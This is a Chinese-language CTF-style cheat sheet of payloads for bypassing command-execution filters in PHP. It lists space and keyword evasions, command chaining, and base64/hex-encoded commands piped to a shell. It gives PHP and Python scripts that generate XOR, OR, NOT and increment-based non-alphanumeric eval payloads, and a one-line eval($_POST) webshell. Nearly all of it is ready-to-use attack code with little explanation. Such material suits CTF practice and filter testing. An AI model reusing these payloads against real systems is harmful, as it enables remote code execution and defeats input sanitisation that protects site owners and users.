摘要
 
命令执行绕过 1.空格绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 %09 ${IFS} < IFS9  {IFS}  $IFS  $IFS$1  //$1 改成$加其他数字貌似都行  IFS  <  <>  {cat ,flag.php}  //用逗号实现了空格功能,需要用{}括起来  %20   (space)  %09   (tab)  X\='cat\\x09./flag.php' ;$X        (\\x09表示tab,也可以用\\x20) 
 
2.system函数绕过 passthru
3.cat绕过 1 2 3 4 5 6 7 8 9 10 sort od less more 使用tac 反向输出命令:  linux命令中可以加\,所以甚至可以ca\t /fl\ag 
 
4.无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本) 1 2 3 4 5 6 7 8 9 <?php error_reporting (0 );highlight_file (__FILE__ );$code =$_GET ['code' ];if (preg_match ('/[a-z0-9]/i' ,$code )){    die ('hacker' ); } eval ($code );
 
1)异或  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $myfile  = fopen ("xor_rce.txt" , "w" );$contents ="" ;for  ($i =0 ; $i  < 256 ; $i ++) { 	for  ($j =0 ; $j  <256  ; $j ++) {  		if ($i <16 ){ 			$hex_i ='0' .dechex ($i ); 		} 		else { 			$hex_i =dechex ($i ); 		} 		if ($j <16 ){ 			$hex_j ='0' .dechex ($j ); 		} 		else { 			$hex_j =dechex ($j ); 		} 		$preg  = '/[a-z0-9]/i' ;  		if (preg_match ($preg  , hex2bin ($hex_i ))||preg_match ($preg  , hex2bin ($hex_j ))){ 					echo  "" ;     }    		else { 		$a ='%' .$hex_i ; 		$b ='%' .$hex_j ; 		$c =(urldecode ($a )^urldecode ($b )); 		if  (ord ($c )>=32 &ord ($c )<=126 ) { 			$contents =$contents .$c ." " .$a ." " .$b ."\n" ; 		} 	} } } fwrite ($myfile ,$contents );fclose ($myfile );
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import  requestsimport  urllibfrom  sys import  *import  osdef  action (arg ):   s1=""     s2=""     for  i in  arg:        f=open ("xor_rce.txt" ,"r" )        while  True :            t=f.readline()            if  t=="" :                break             if  t[0 ]==i:                                s1+=t[2 :5 ]                s2+=t[6 :9 ]                break         f.close()    output="(\"" +s1+"\"^\"" +s2+"\")"     return (output)     while  True :   param=action(input ("\n[+] your function:" ) )+action(input ("[+] your command:" ))+";"     print (param) 
 
php运行后生成一个txt文档,包含所有可见字符的异或构造结果。 接着运行python脚本即可。 运行结果
1 2 3 4 5 6 7 php运行后生成一个txt文档,包含所有可见字符的异或构造结果。 接着运行python脚本即可。 运行结果 [+] your function:system [+] your command:ls ("%08%02%08%08%05%0d" ^"%7b%7b%7b%7c%60%60" )("%0c%08" ^"%60%7b" ); 
 
2)或 system(“ls”);     使用XOR绕过,得到目录信息
1 /?a=$_ =('("((%-'  ^ '[[[\@@' );$__ =('[,([' ^'|@[|' );$_ ($__ ); 
 
原理是一样的,只需要在上面的脚本上稍加改动即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $myfile  = fopen ("or_rce.txt" , "w" );$contents ="" ;for  ($i =0 ; $i  < 256 ; $i ++) { 	for  ($j =0 ; $j  <256  ; $j ++) {  		if ($i <16 ){ 			$hex_i ='0' .dechex ($i ); 		} 		else { 			$hex_i =dechex ($i ); 		} 		if ($j <16 ){ 			$hex_j ='0' .dechex ($j ); 		} 		else { 			$hex_j =dechex ($j ); 		} 		$preg  = '/[0-9a-z]/i' ; 		if (preg_match ($preg  , hex2bin ($hex_i ))||preg_match ($preg  , hex2bin ($hex_j ))){ 					echo  "" ;     }    		else { 		$a ='%' .$hex_i ; 		$b ='%' .$hex_j ; 		$c =(urldecode ($a )|urldecode ($b )); 		if  (ord ($c )>=32 &ord ($c )<=126 ) { 			$contents =$contents .$c ." " .$a ." " .$b ."\n" ; 		} 	} } } fwrite ($myfile ,$contents );fclose ($myfile );
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import  requestsimport  urllibfrom  sys import  *import  osdef  action (arg ):   s1=""     s2=""     for  i in  arg:        f=open ("or_rce.txt" ,"r" )        while  True :            t=f.readline()            if  t=="" :                break             if  t[0 ]==i:                                s1+=t[2 :5 ]                s2+=t[6 :9 ]                break         f.close()    output="(\"" +s1+"\"|\"" +s2+"\")"     return (output)     while  True :   param=action(input ("\n[+] your function:" ) )+action(input ("[+] your command:" ))+";"     print (param) 
 
3)取反 因为取反的话,基本上用的都是一个不可见字符,所有不会触发到正则表达式 ,我们一个php脚本就可以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php fwrite (STDOUT,'[+]your function: ' );$system =str_replace (array ("\r\n" , "\r" , "\n" ), "" , fgets (STDIN)); fwrite (STDOUT,'[+]your command: ' );$command =str_replace (array ("\r\n" , "\r" , "\n" ), "" , fgets (STDIN)); echo  '[*] (~' .urlencode (~$system ).')(~' .urlencode (~$command ).');' ;
 
4)自增 1 2 3 4 5 6 $_ =[];$_ =@"$_ " ;$_ =$_ ['!' =='@' ];$___ =$_ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$___ .=$__ ;$___ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$___ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$___ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$___ .=$__ ;$____ ='_' ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$____ .=$__ ;$_ =$$____ ;$___ ($_ [_]);固定格式 构造出来的 assert ($_POST [_]); 然后post传入   _=phpinfo (); 
 
5)利用UTF-8编码进行异或绕过,使用post传参数 2=system('cat zheshiflag.php ')。 1 2 3 4 5 6 7 8 9 10 url?a=$__ =('>' >'<' )+('>' >'<' ); $_ =$__ /$__ ;$____ ='' ;$___ ="瞰" ;$____ .=~($___ {$_ });$___ ="和" ;$____ .=~($___ {$__ });$___ ="和" ;$____ .=~($___ {$__ });$___ ="的" ;$____ .=~($___ {$_ });$___ ="半" ;$____ .=~($___ {$_ });$___ ="始" ;$____ .=~($___ {$__ });$_____ ='_' ;$___ ="俯" ;$_____ .=~($___ {$__ });$___ ="瞰" ;$_____ .=~($___ {$__ });$___ ="次" ;$_____ .=~($___ {$_ });$___ ="站" ;$_____ .=~($___ {$_ });$_ =$$_____ ;$____ ($_ [$__ ]);
 
 
1 除这些之外我们还可以这样用`${%86%86%86%86^%d9%c1%c3%d2} {%86}();&%86=phpinfo`其中`"%86%86%86%86^%d9%c1%c3%d2" `为构造出的`_GET`,适合于过滤了引号的情况下使用。 
 
5.一句话木马中的?被过滤 1 <?php  @eval ($_POST ['cmd' ]);?> 
 
绕过
1 <script language="php" >system ("ls /" );</script> 
 
6.将文件上传的文件名进行随机化 可以利用文件上传+文件包含读取flag
 
7.命令联合执行 ;     前面的执行完执行后面的 |     管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)
||    当前面的执行出错时(为假)执行后面的 &     将任务置于后台执行 &&    前面的语句为假则直接出错,后面的也不执行,前面只能为真 %0a  (换行) %0d  (回车)
8.反引号` 内联,就是将反引号内命令的输出作为输入执行
1 2 3 4 5 6 7 ?ip=127.0 .0.1 ;cat$IFS$9 `ls` $IFS 在Linux下表示为空格$9 是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字 这里$IFS$9 或$IFS 垂直,后面加个$与{}类似,起截断作用 
 
9.flag过滤 1 echo $IFS$1 Y2F0IGZsYWcucGhw|base64$IFS$1 -d|sh     
 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 cat fl*  用*匹配任意  cat fla* 用*匹配任意 ca\t fla\g.php        反斜线绕过 cat fl'' ag.php        两个单引号绕过 echo  "Y2F0IGZsYWcucGhw"  | base64 -d | bash    echo  "63617420666c61672e706870"  | xxd -r -p | bash     echo  "63617420666c61672e706870"  | xxd -r -p | sh   cat fl[a]g.php       用[]匹配 a=fl;b=ag;cat $a$b           变量替换 cp fla{g.php,G}    把flag.php复制为flaG ca${21 }t a.txt     利用空变量  使用$*和$@,$x (x 代表 1 -9 ),${x}(x>=10 )(小于 10  也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的